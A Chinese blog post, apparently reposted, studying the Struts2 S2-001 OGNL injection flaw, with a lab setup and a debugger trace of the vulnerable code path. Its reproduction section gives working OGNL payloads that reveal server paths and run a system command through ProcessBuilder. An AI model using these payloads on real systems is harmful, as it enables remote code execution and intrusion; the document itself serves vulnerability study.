Struts2 远程代码执行漏洞S2-001分析

news2024/11/19 5:50:49

自 Struts2 在 2007 年爆出第一个远程代码执行漏洞 S2-001 以来,在其后续的发展过程中不断爆出更多而且危害更大的远程代码执行漏洞,而造成 Struts2 这么多 RCE 漏洞的主要原因就是 OGNL 表达式。这里以 Struts2 的第一个漏洞 S2-001 为例来对 Struts2 远程代码执行漏洞进行学习

OGNL 简介

首先来了解 OGNL 表达式,OGNL(Object Graphic Navigatino Language)的中文全称为“对象图导航语言”,是应用于Java中的一个开源的功能强大的表达式语言(Expression Language),它被集成在Struts2等框架中,通过简单一致的表达式语法,可以存取对象的任何属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。

OGNL进行对象存取操作的API在Ognl.java文件中,分别是getValue、setValue两个方法。getValue通过传入的OGNL表达式,在给定的上下文环境中,从root对象里取值:

img

setValue通过传入的OGNL表达式,在给定的上下文环境中,往root对象里写值:

img

OGNL同时编写了许多其它的方法来实现相同的功能,详细可参考Ognl.java代码。OGNL的API很简单,无论何种复杂的功能,OGNL会将其最终映射到OGNL的三要素中通过调用底层引擎完成计算,OGNL的三要素即上述方法的三个参数,分别是表达式(expression)、根对象(root)、Context对象。

下面先通过一个简单的案例来描述其作用:

首先定义一个 Student 类,该类有 3 个属性 name、studentNumber 和 theClass,同时为 3 个属性编写 get 和 set 方法

image-20240104150320040

然后定义一个 TheClass 类,该类有两个属性:className 和 school,同样也为两个属性编写 get 和 set 方法:

image-20240104150354740

最后定义一个 School 类,该类只有一个属性 schoolName

image-20240104150416719

通过如下操作将这 3 个类实例化并为其属性一一进行赋值,最后通过使用 OGNL 表达式的方式取出指定的值

image-20240104162028698

image-20240104162035483

image-20240104165934990

在不使用 OGNL 表达式的情况下,如果要取出 schoolName 属性,需要通过调用对应的 get 方法,但是当我们使用 OGNL 的 getValue,只需要传递一个 OGNL 表达式和根节点就可以取出指定对象的属性,非常方便。

image-20240104170202910

更多OGNL表达式的知识参考:

https://xz.aliyun.com/t/225

https://jueee.github.io/2020/08/2020-08-15-Ognl%E8%A1%A8%E8%BE%BE%E5%BC%8F%E7%9A%84%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95/

https://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

Struts2 的执行流程

首先来简单了解 Struts2 的执行流程。官方提供的 Struts2 的架构如图:

image-20240104175655466

在该图中,一共给出了四种颜色的标识,其对应的意义如下。

  • Servlet Filters(橙色):过滤器,所有的请求都要经过过滤器的处理。
  • Struts Core(浅蓝色):Struts2的核心部分。
  • Interceptors(浅绿色):Struts2的拦截器。
  • User created(浅黄色):需要开发人员创建的部分。

图中的一些组件的作用如下:

  • FilterDispatcher:是整个Struts2的调度中心,也就是整个MVC架构中的C,它根据ActionMapper的结果来决定是否处理请求。
  • ActionMapper:用来判断传入的请求是否被Struts2处理,如果需要处理的话,ActionMapper就会返回一个对象来描述请求对应的ActionInvocation的信息。
  • ActionProxy:用来创建一个ActionInvocation代理实例,它位于Action和xwork之间。
  • ConfigurationManager:是xwork配置的管理中心,可以把它当做已经读取到内存中的struts.xml配置文件。
  • struts.xml:是Stuts2的应用配置文件,负责诸如URL与Action之间映射的配置、以及执行后页面跳转的Result配置等。
  • ActionInvocation:用来真正的调用并执行Action、拦截器和对应的Result,作用类似于一个调度器。
  • Interceptor:拦截器,可以自动拦截Action,主要在Action运行之前或者Result运行之后来进行执行,开发者可以自定义。
  • Action:是Struts2中的动作执行单元。用来处理用户请求,并封装业务所需要的数据。
  • Result:是不同视图类型的抽象封装模型,不同的视图类型会对应不同的Result实现,Struts2中支持多种视图类型,比如Jsp,FreeMarker等。
  • Templates:各种视图类型的页面模板,比如JSP就是一种模板页面技术。
  • Tag Subsystem:Struts2的标签库,它抽象了三种不同的视图技术JSP、velocity、freemarker,可以在不同的视图技术中,几乎没有差别的使用这些标签。

接下来我们可以结合上图,来了解下Struts2框架是如何处理一个HTTP请求的。

当HTTP请求发送个Web服务器之后,Web服务器根据用户的请求以及 web.xml 中配置的Filter,将请求转发给 Struts2 框架进行处理。

  1. HTTP请求经过一系列的过滤器,最后到达 FilterDispatcher 过滤器。
  2. FilterDispatcher 将请求转发 ActionMapper,判断该请求是否需要处理。
  3. 如果该请求需要处理,FilterDispatcher会创建一个 ActionProxy 来进行后续的处理。
  4. ActionProxy 拿着HTTP请求,询问 struts.xml 该调用哪一个 Action 进行处理。
  5. 当知道目标Action之后,实例化一个ActionInvocation来进行调用。
  6. 然后运行在Action之前的拦截器,图中就是拦截器1、2、3。(所有的默认拦截器都存储在 ActionInvocation 对象的 interceptors 属性中,并通过 hasNext 方法依次进行调用) (那么 Struts2 默认的拦截器都有哪些,并且定义在哪里呢?Strut2-core.jar 包中有 一个 struts2-default.xml 文件,这里配置了 Struts2 默认情况下要执行的拦截器)
  7. 运行Action,生成一个Result
  8. Result根据页面模板和标签库,生成要响应的内容。
  9. 根据响应逆序调用拦截器,然后生成最终的响应并返回给Web服务器。

S2-001 漏洞原理分析

官方公告:https://cwiki.apache.org/confluence/display/WW/S2-001

漏洞影响范围:WebWork 2.2.0-WebWork 2.2.5,Struts 2.0.0-Struts 2.0.8

S2-001的漏洞原理是模板文件(JSP)中引用了不合适的标签进行渲染,并且渲染的值是用户可控的,此时则达成了表达式注入的目的。

漏洞环境搭建

Apache Tomcat/8.5.46+struts-2.0.8

首先在idea安装Struts2插件

image-20240105135120779

然后New Project创建Struts2项目,Libraries选择Set up library later

image-20240105135405643

下一步之后填写项目名称即可创建起一个struts2 project

image-20240105135449904

下载struts-2.0.1-all

在项目目录WEB-INF下新建lib文件夹,将所需要的jar包从下载目录中导入到lib文件夹下

将全部jar包选中,右键Add as Library

image-20240105135839315

image-20240105135928689

填写一个Library Name

image-20240105140004524

然后File->Project strutsure,然后在Modules下选中struts2-001

image-20240105140149595

之后再在Artifactsstruts2-001put into output root,完成后点击OK.

image-20240105140337776

之后创建Tomcat server

image-20240105140652791

之后,运行即可看到一个struts2项目启动成功。

image-20240105140750019

因为漏洞是在表单验证失败时发生的,这里继续编写一个表单验证的Demo,以复现漏洞。
WEB目录下修改index.jsp

<%@ page contentType="text/html; charset=UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
  <title>Sign On</title>
</head>

<body>
<s:form action="Login">
  <s:textfield label="username" name="username"/>
  <s:textfield label="password" name="password" />
  <s:submit/>
</s:form>
</body>
</html>

然后新建welcome.jsp

<%@ page contentType="text/html; charset=UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

src下新建com.demo.actionpackage

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class Login extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}

修改struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <package name="s2" extends="struts-default">
        <action name="Login" class="com.demo.action.Login">
            <result name="success">welcome.jsp</result>
            <result name="error">index.jsp</result>
        </action>
    </package>
</struts>

之后即可运行程序出现登陆Demo

image-20240105142704228

漏洞复现

1、获取tomcat路径

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

image-20240105150932275

2、获取web目录

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

image-20240105151009405

3、执行命令

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image-20240105151032298

漏洞分析

该漏洞是因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。

我们在OGNL表达式原生API getValue处下断点,该方法用于解析OGNL表达式并返回表达式的值。

image-20240105152539440

下断后便可发送payload%{1+1},直到在断点处出现我们的payload,此时在调用栈中即可看到漏洞发生的整个过程。

image-20240105152756045

下面我们就来逐步分析一下:

首先,判断%{1+1}是在何时被执行的,我们将断点设置在 LoginAction 的 setPassword 和 getPassword 方法上

image-20240105153059801

image-20240105152928010

然后,根据最开始的struts工作流程图可以知道在一个http请求进来后,会经过一系列的 拦截器(Interceptor) ,这些拦截器可以是 Struts2 自带的,也可以是用户自定义的。例如 struts.xml文件中的 package 继承自 struts-default ,而 struts-default 就使用了 Struts2 自带的拦截器。

struts2-core-2.0.1.jar/struts-default.xml 中可以找到默认使用的拦截器栈 defaultStack

image-20240105175247882

在拦截器栈 defaultStack 中,我们需要关注 params 这个拦截器。

image-20240105175350884

该拦截器对应的权限定类名是 com.opensymphony.xwork2.interceptor.ParametersInterceptor,该拦截器会通过调用对应 Action 的 setter 方法来为其属性进行赋值;最后,对赋值进行判断,如果 password 的值为“%{1+1}”,则证明代码执行的行为发生在执行 Action 之后;如果 password 的值为 2,则证明代码执行的行为发生在 Action 执行之前。通过这种简 单的判断就可以减少漏洞点的搜索范围:

image-20240105153432320

通过在此处设置断点,可以看到直到赋值完成,“%{1+1}”仍没有被执行,这就意味着截止到执行完 ParametersInterceptor 拦截器为止,没有代码执行的行为发生。

接下来是执行 Action 的 execute 方法,最终结果是返回“error”字符串

image-20240105154351011

根据Struts2整体执行流程

image-20240105154141706

Action执行完毕后的步骤是操作对应的模板页面,当LoginAction的execute方法返回“error”字符串时,Struts2要去解析的模板页面是index.jsp。

Struts2 支持多种模板引擎(freemarker、jsp、util、velocity、xslt),jsp 只是其中一种。所以在真正开始解析之前,Struts2 还需要判断开发人员使用的模板引擎种类,从而调用对应的类和方法。

负责处理 JSP 的类是 org.apache.struts2.views.jsp.ComponentTagSupport。解析会从 第一个 Struts2 标签即<s:form action="Login">开始,当解析到 ComponentTagSupport 类时,首先被调用的方法就是 doStartTag 方法,该方法的代码如下图所示。除 doStartTag 方法外,ComponentTagSupport 中还有一个 doEndTag 方法,一个是解析标签开始时调用,另一个是解析到标签闭合时调用。

image-20240105160542026

ComponentTagSupport 是一个抽象类。由于首先被解析的是一个 Struts2 Form 标签,org.apache.struts2.views 有一个与 Form标签对应的实体类,类名为 FormTag,是 ComponentTagSupport 的子类。虽然当前断点设置在 ComponentTagSupport 的 doStartTag 方法上,其实是子类在调用父类方法,因为当前对象是 FormTag 对象:

image-20240105161159632

我们跳过 Form 标签的解析,因为关键点并不在这里。 解析完 Form 标签后会解析 textfield 标签,这两个标签的细节如图

image-20240105161255794

首先解析第一个 textfield 标签,关键的步骤在 doEndTag 方法中。首先会调用 this.component.end 方法

image-20240105161449933

然后执行到 UIBean 类的 evaluateParams 方法。该方法用来判断标签中有哪些属 性,例如当前 textfield 标签中有两个属性:一个是 name 属性,另一个是 lable 属性, 判断这两个属性的代码如图

image-20240105162146082

我们的标签里编写了 name 属性,第一个 if 判断的结果为 true,但是该 name 属性并不是关键点,因此我们跳过第一个 if 判断,直接来到第二个 if,判断标签是否有 label 属性,跟进 this.findString 方法。

image-20240105162539462

经过一系列的嵌套调用,最终执行 TextParseUtil 类的 translateVariables 方法。这里就是导致漏洞产生的核心问题所在,我们可以先看一下该函数是如何处理一个正常的请求数据的。

image-20240105163132238

首先观察当前的变量和值

image-20240105163304273

接下来是 translateVariables 方法的部分代码

image-20240105163405604

首先会进入一个 while 循环,该循环的作用是判断 label 属性的值是否以“%{” 开头,目的是判断其是不是一个 OGNL 表达式,如果是则返回的值为 0,不是则返回值为-1。然后根据 expression.indexOf 方法的返回值进入下一个判断。第二个 while 循环是为了判断“{”与“}”的数量是否相等,相等则 count 的值为 0;由于 label 属性的值是字符串“username”,不包括“%{”,start 值为-1,count 值为 1,因此第二个 while 循环无须执行。最终 if (start == -1 || end == -1 || count != 0)判断结果是为 ture,return的结果如图

image-20240105164747614

返回值仍是字符串 username,返回结果到 UIBean 类的 evaluateParams 方法。当 判断完所有属性后,evaluateParams 方法中执行了一个操作,即将字符串拼接“%{}” 成为一个 OGNL 表达式“ %{username} ”,然后再带入 TextParseUtil 类 的 translateVariables 方法中,如下图。

image-20240105170612346

image-20240105170708451

这样做的目的是最终通过反射调用LoginAction 对象的 getUsername 方法,从而获取存储在 LoginAction 对象中 username 属性的值。

最终获取到的值为 1,也就是我们通过前端传入的 username 的值。但是接下来Sturts2的操作会出现问题,获取到admin后又对其进行了一次判断,判断该admin 是不是 OGNL 表达式。相信大家已经意识到,这个 admin 是通过前端传入的,是可控的,那么可不可以将参数由字符串“1”替换成一个 OGNL 表达式?

我们在 password 栏中进行了这样的尝试,继续分析,前期直到拼接处理%{password}从 LoginAction 中获取 password 的值为止都是相同的,问题就出在获取到 password 的值之后

image-20240105173738953

password 的值为%{1+1},按照程序执行流程,会先判断其是不是一个以“%{” 开头的 OGNL 表达式。%{1+1}自然是符合的,start 最后的值为 0,end 的值为 5,count 的值为 0,所以会执行到 stack.findValue 这一步,将%{1+1}当作表达式来执行,后续的执行会涉及 OGNL。

image-20240105174157551

findValue 调用 getValue

image-20240105174427731

getValue执行OGNL表达式

image-20240105174333027

参考

java代码审计入门之s2-001复现分析 | Boogle’s Blog (zhengbao.wang)

https://lanvnal.com/2020/12/15/s2-001-lou-dong-fen-xi

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1358820.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

新年启新程 | 开门红!菊风中标重庆三峡银行双录及产品销售可回溯系统项目

INTRODUCTION 近年来&#xff0c;随着人们需求的转变和金融科技的高速发展&#xff0c;银行开始朝着数智化方向转型。为顺应客户行为变迁&#xff0c;银行同业积极构建远程银行云服务生态。同时&#xff0c;面对业务的升级以及新的监管要求&#xff0c;现有音视频功能难以满足…

第三届先进控制、自动化与机器人国际会议(ICACAR 2024) | Ei、Scopus双检索

会议简介 Brief Introduction 2024年第三届先进控制、自动化与机器人国际会议(ICACAR 2024) 会议时间&#xff1a;2024年5月24-26日 召开地点&#xff1a;中国重庆 大会官网&#xff1a;ICACAR 2024-2024 3rd International Conference on Advanced Control, Automation and Ro…

yolov8 tracking编码为web 和 rtsp流输出

1 基础工作 打开cmd 输入 conda env list 输入 conda activate py38 查看 nvidia-smi 查看 nvcc&#xff0c;如下图所示 cuda为11.7 &#xff0c;为确认可以查看program files 下面的cuda 安装&#xff0c;看到11.7 就行了&#xff0c;读者可以自行确认自己的版本。 查看nvid…

第 378 场 LeetCode 周赛题解

A 检查按位或是否存在尾随零 枚举&#xff1a;枚举两个元素的组合即可 class Solution { public:bool hasTrailingZeros(vector<int> &nums) {int n nums.size();for (int i 0; i < n; i)for (int j 0; j < i; j)if ((nums[i] | nums[j]) % 2 0)return tru…

无痛迁移:图解 Kubernetes 集群升级步骤

本文探究了Kubeadm集群升级工作流程&#xff0c;并以可视化方式展现。着重介绍了控制平面节点和工作节点的升级步骤&#xff0c;涵盖了kubeadm升级、节点清空、kubelet和kubectl升级&#xff0c;以及解除节点封锁的关键步骤。 这个简明扼要的指南可帮助用户理解和执行Kubernete…

视频号掀起内容新风向,这几类账号为何爆红?

12月初&#xff0c;视频号就迎来了好消息&#xff0c;官方发布消息称&#xff0c;视频号作者加入互选的门槛由10000粉调整为5000粉&#xff0c;其他条件不变。此举旨在激励更多创作者积极投入视频内容创作&#xff0c;从而获得更多商业合作的机会和收益。 为帮助大家更好地洞察…

lf 的年终总结(2023)

这一年&#xff0c; 我没有进行总结&#xff0c; 只有年终的回顾。 是的&#xff0c; 我又长了一岁&#xff0c; 同时也度过了三年的开发经历&#xff0c; 即将进入五年 Android 开发的阶段。 我只希望在新的一年里能够好好学习&#xff0c;期待有所提升。 回顾过去的生活&…

51单片机四位数码管计算器 Proteus仿真程序

目录 概要 仿真图 部分代码 资料下载地址&#xff1a;51单片机四位数码管计算器 Proteus仿真程序 概要 1.系统通过4x4的矩阵键盘输入数字及运算符。 2.可以进行4位十进制数以内的加法运算&#xff0c;如果计算结果超过4位十进制数&#xff0c;则屏幕显示E 3.可以进行加法以外…

工作中人员离岗识别摄像机

工作中人员离岗识别摄像机是一种基于人工智能技术的智能监控设备&#xff0c;能够实时识别员工离岗状态并进行记录。这种摄像机通常配备了高清摄像头、深度学习算法和数据处理系统&#xff0c;可以精准地监测员工的行为&#xff0c;提高企业的管理效率和安全性。 工作中人员离岗…

DevOps搭建(十二)-Jenkins推送镜像到Harbor详解

什么是Harbor&#xff1f;Harbor 是一个开源的企业级容器镜像仓库&#xff0c;它提供了安全、可靠、高效的镜像管理和分发功能。 Harbor 支持 Docker 镜像和 Helm Chart&#xff0c;可以与其他云原生工具和平台集成&#xff0c;如 Kubernetes、Docker Swarm 等。 使用 Harbor&a…

多线程和JVM

一&#xff0c;多线程实现的四种方式 1. 实现Runnable接口 普通实现&#xff1a; public class MyRunnable implements Runnable {Overridepublic void run() {System.out.println("线程执行中...");} }public class Main {public static void main(String[] arg…

CSS基本知识

文章目录 1. CSS 是什么2. 基本语法规范3. 引入方式3.1 内部样式表3.2 行内样式表3.3 外部样式 4. 选择器4.1 选择器的功能4.2 选择器的种类4.3 基础选择器4.3.1 标签选择器4.3.2 类选择器4.3.3 id 选择器4.3.4 通配符选择器 4.4 复合选择器4.4.1 后代选择器4.4.2 伪类选择器 5…

Flink Connector 开发

Flink Streaming Connector Flink是新一代流批统一的计算引擎&#xff0c;它需要从不同的第三方存储引擎中把数据读过来&#xff0c;进行处理&#xff0c;然后再写出到另外的存储引擎中。Connector的作用就相当于一个连接器&#xff0c;连接Flink计算引擎跟外界存储系统。Flin…

查看进程对应的路径查看端口号对应的进程ubuntu 安装ssh共享WiFi设置MyBatis 使用map类型作为参数,复杂查询(导出数据)

Linux 查询当前进程所在的路径 top 命令查询相应的进程号pid ps -ef |grep 进程名 lsof -I:端口号 netstat -anp|grep 端口号 cd /proc/进程id cwd 进程运行目录 exe 执行程序的绝对路径 cmdline 程序运行时输入的命令行命令 environ 记录了进程运行时的环境变量 fd 目录下是进…

互联网加竞赛 基于YOLO实现的口罩佩戴检测 - python opemcv 深度学习

文章目录 0 前言1 课题介绍2 算法原理2.1 算法简介2.2 网络架构 3 关键代码4 数据集4.1 安装4.2 打开4.3 选择yolo标注格式4.4 打标签4.5 保存 5 训练6 实现效果6.1 pyqt实现简单GUI6.3 视频识别效果6.4 摄像头实时识别 7 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xf…

科普:嵌入式多核并行仿真

自信息技术革命以来&#xff0c;计算机一直被应用在各种复杂的数据处理中&#xff0c;如火箭弹道&#xff0c;高能物理和生物学数据等。随着嵌入式领域的多样化需求的不断丰富&#xff0c;多核CPU的应用也越来越广泛&#xff1a;嵌入式系统通常需要同时处理多个任务和实时数据&…

数字藏品如何赋能线下实体?以 BOOMSHAKE 潮流夜店为例

此篇为报告内容精华版&#xff0c;更多详细精彩内容请点击 完整版 在数字化浪潮的推动下&#xff0c;品牌和企业正在迎来一场前所未有的变革。传统市场营销策略逐渐让位于新兴技术&#xff0c;特别是非同质化代币&#xff08;NFT&#xff09;的应用。这些技术不仅改变了品牌资…

牵绳遛狗你我他文明家园每一天,助力共建文明社区,基于YOLOv6开发构建公共场景下未牵绳遛狗检测识别系统

遛狗是每天要打卡的事情&#xff0c;狗狗生性活泼爱动&#xff0c;一天不遛就浑身难受&#xff0c;遛狗最重要的就是要拴绳了&#xff0c;牵紧文明绳是养犬人的必修课。外出遛狗时&#xff0c;主人手上的牵引绳更多是狗狗生命健康的一道重要屏障。每天的社区生活中&#xff0c;…

stable diffusion 基础教程-提示词之艺术风格用法

展现夕阳 golden hour, (rim lighting):1.2, warm tones, sun flare, soft shadows, vibrant colors, hazy glow, painterly effect, dreamy atmosphere阴影 chiaroscuro, (high contrast):1.2, dramatic shadows, bold highlights, moody atmosphere, captivating inte…

[通俗易懂]c语言中指针变量和数值之间的关系

一、指针变量的定义 在C语言中&#xff0c;指针变量是一种特殊类型的变量&#xff0c;它存储的是另一个变量的内存地址。指针变量可以用来间接访问和操作内存中的其他变量。指针变量的定义如下&#xff1a; 数据类型 *指针变量名&#xff1b;其中&#xff0c;数据类型可以是任…